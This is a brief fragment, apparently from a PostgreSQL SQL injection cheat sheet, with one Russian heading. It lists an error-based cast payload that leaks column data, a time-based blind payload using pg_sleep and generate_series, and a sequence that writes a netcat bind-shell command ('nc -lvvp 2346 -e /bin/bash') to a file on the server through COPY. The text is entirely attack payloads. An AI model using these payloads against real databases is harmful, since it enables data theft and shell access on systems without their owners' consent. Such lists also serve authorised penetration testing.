	- ,cast(chr(126) (select data_column from data_table limit 1 offset +data_offset) chr(126)+as+numeric)
Time based	AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME])) AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]0000 00))
Запись в файл	CREATE TABLE pentestlab (t TEXT); INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash'); SELECT * FROM pentestlab; COPY pentestlab(t) TO '/tmp/pentestlab';